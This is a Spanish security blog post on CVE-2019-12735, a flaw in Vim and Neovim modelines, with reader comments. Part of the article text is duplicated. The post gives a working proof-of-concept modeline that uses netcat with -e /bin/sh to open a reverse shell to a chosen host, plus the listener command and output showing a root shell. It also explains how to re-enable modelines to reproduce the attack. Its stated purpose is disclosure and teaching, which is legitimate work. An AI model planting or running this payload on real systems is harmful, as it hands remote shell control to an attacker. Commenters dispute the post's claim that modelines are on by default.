No hace mucho el investigador Armin Razmjou descubrió un fallo que hace vulnerable a cualquier Linux que cuente con el famoso y querido editor de texto "Vim" y su Fork "Neovim", vulnerabilidad registrada como CVE-2019-12735.
(Si no eres de este mundo) Pero ... ¿Qué es Vim?
Vim, por sus siglas en Ingles "Vi improved" es una versión mejorada del editor de texto vi, presente en todos los sistemas UNIX. Su autor, Bram Moolenaar, presentó la primera versión en 1991, fecha desde la que ha experimentado muchas mejoras.
Vulnerabilidad
Este fallo es debido a una característica llamada "modelines", que básicamente le permite al editor de texto (incluyendo Neovim) cargar desde cualquier fichero una configuración personalizada.
Esta característica viene habilitada por defecto en estos editores que, si el usuario lo desea, la puede desactivar. El problema yace es que la mayoría de usuarios no lo hacen, ocasionando un posible control total a un atacante.
Como apoda el título de este artículo con un simple archivo de texto con un modeline específico y simple es posible conseguir ejecutar código directamente en la memoria del sistema. Aunque Vim y Neovim pueden ejecutar los comandos peligrosos dentro de un sandbox, al utilizar "source" en la línea del código se consigue salir de este aislamiento.
Prueba de Concepto
En este artículo no sólo quiero tocar teoría, también la práctica, para eso solo crearemos un fichero de texto llamado "poc.txt" (para este ejemplo), donde contendrá el siguiente código modificado de "https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md" para conseguir el control del sistema remotamente o lo que se podría simplificar como una shell remota con una conexión inversa utilizando la navaja suiza "Netcat":
Ejemplo
Claro ya tenemos que tener a netcat a la escucha:
También podemos asegurarnos que la opción de modeline no ha sido deshabilitada (
Una vez conectado, si la víctima simplemente ejecuta 'vim poc.txt' podremos ejecutar comandos remotamente:
Parches y soluciones
Si ya ibas a lanzar la computadora por la ventana, tranquila/o ya los responsables de Vim y Neovim lanzaron sus correspondientes parches para corregir las vulnerabilidades originadas por estos mismos con el fin de que sigamos usando estos increíbles editores. En el caso de Vim, el parche que lo protege es el "8.1.1365", y en Neovim es la versión "0.3.6".
¿Vim y Neovim no son vulnerables?, ¡vamos a vulnerarlos!
Si en este caso no son vulnerables, pero deseas realizar la prueba de concepto, lo puedes lograr desde el archivo de configuracion de Vim, mayormente ubicado en: '/etc/vim/vimrc', aunque primero verifiquemos ejecutando la siguiente sentencia con Vim ya abierto:
¿Dudas?, comentamelo o hazme saber si quieres más articulos de noticias recien sacadas del horno
Referencias:
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
https://www.redeszone.net/2019/06/11/vulnerabilidad-linux-hackearlo-archivo-texto/
P.D. Si también quieres publicar tu artículo, no lo dudes y mándanos tu contribución a hackplayers_at_ymail.com o ponte en contacto con nosotros a través de cualquier canal disponible en las redes sociales (Twitter, Facebook o Telegram).
(Si no eres de este mundo) Pero ... ¿Qué es Vim?
Vim, por sus siglas en Ingles "Vi improved" es una versión mejorada del editor de texto vi, presente en todos los sistemas UNIX. Su autor, Bram Moolenaar, presentó la primera versión en 1991, fecha desde la que ha experimentado muchas mejoras.
Vulnerabilidad
Este fallo es debido a una característica llamada "modelines", que básicamente le permite al editor de texto (incluyendo Neovim) cargar desde cualquier fichero una configuración personalizada.
Esta característica viene habilitada por defecto en estos editores que, si el usuario lo desea, la puede desactivar. El problema yace es que la mayoría de usuarios no lo hacen, ocasionando un posible control total a un atacante.
Como apoda el título de este artículo con un simple archivo de texto con un modeline específico y simple es posible conseguir ejecutar código directamente en la memoria del sistema. Aunque Vim y Neovim pueden ejecutar los comandos peligrosos dentro de un sandbox, al utilizar "source" en la línea del código se consigue salir de este aislamiento.
Prueba de Concepto
En este artículo no sólo quiero tocar teoría, también la práctica, para eso solo crearemos un fichero de texto llamado "poc.txt" (para este ejemplo), donde contendrá el siguiente código modificado de "https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md" para conseguir el control del sistema remotamente o lo que se podría simplificar como una shell remota con una conexión inversa utilizando la navaja suiza "Netcat":
:!nohup nc <ip> <puerto> -e <shell> >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm <nombre del archivo> >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Ejemplo
:!nohup nc 127.0.0.1 9999 -e /bin/sh >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm poc.txt >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Claro ya tenemos que tener a netcat a la escucha:
nc -vlp 9999
También podemos asegurarnos que la opción de modeline no ha sido deshabilitada (
:set modeline
).Una vez conectado, si la víctima simplemente ejecuta 'vim poc.txt' podremos ejecutar comandos remotamente:
listening on [any] 9999 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42730
whoami
root
Parches y soluciones
Si ya ibas a lanzar la computadora por la ventana, tranquila/o ya los responsables de Vim y Neovim lanzaron sus correspondientes parches para corregir las vulnerabilidades originadas por estos mismos con el fin de que sigamos usando estos increíbles editores. En el caso de Vim, el parche que lo protege es el "8.1.1365", y en Neovim es la versión "0.3.6".
¿Vim y Neovim no son vulnerables?, ¡vamos a vulnerarlos!
Si en este caso no son vulnerables, pero deseas realizar la prueba de concepto, lo puedes lograr desde el archivo de configuracion de Vim, mayormente ubicado en: '/etc/vim/vimrc', aunque primero verifiquemos ejecutando la siguiente sentencia con Vim ya abierto:
# Presionamos ":" y colocamos set modeline?
# Si nos retorna "modeline" es porque somos vulnerables a este ataque y si no, nos retornaria "nomodeline"
# Y si quiero cambiarlo a "modeline" en caso de que nos retorne "modeline", colocamos el siguiente codigo en el archivo de ćonfiguracion de Vim "/etc/vim/vimrc"
# set modeline
# Y para ver si la prueba es exitosa, realiza el POC y me dices que tal ...
¿Dudas?, comentamelo o hazme saber si quieres más articulos de noticias recien sacadas del horno
Referencias:
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
https://www.redeszone.net/2019/06/11/vulnerabilidad-linux-hackearlo-archivo-texto/
Contribución gracias a DtxdF.
P.D. Si también quieres publicar tu artículo, no lo dudes y mándanos tu contribución a hackplayers_at_ymail.com o ponte en contacto con nosotros a través de cualquier canal disponible en las redes sociales (Twitter, Facebook o Telegram).
emacs papa... no jodamos...
ResponderEliminarEs mentira que modelines venga habilitado por defecto. En debian/ubuntu, arch y redhat viene deshabilitado. bsd tambien.
ResponderEliminar¯\_(ツ)_/¯
Mmmm la vulnerabilidad tira del vimrc pero este viene por defecto deshabilitado.
ResponderEliminarEs mas en el mismo archivo hay una advertencia:
" Modelines have historically been a source of security vulnerabilities. As
" such, it may be a good idea to disable them and use the securemodelines
" script, .
" set nomodeline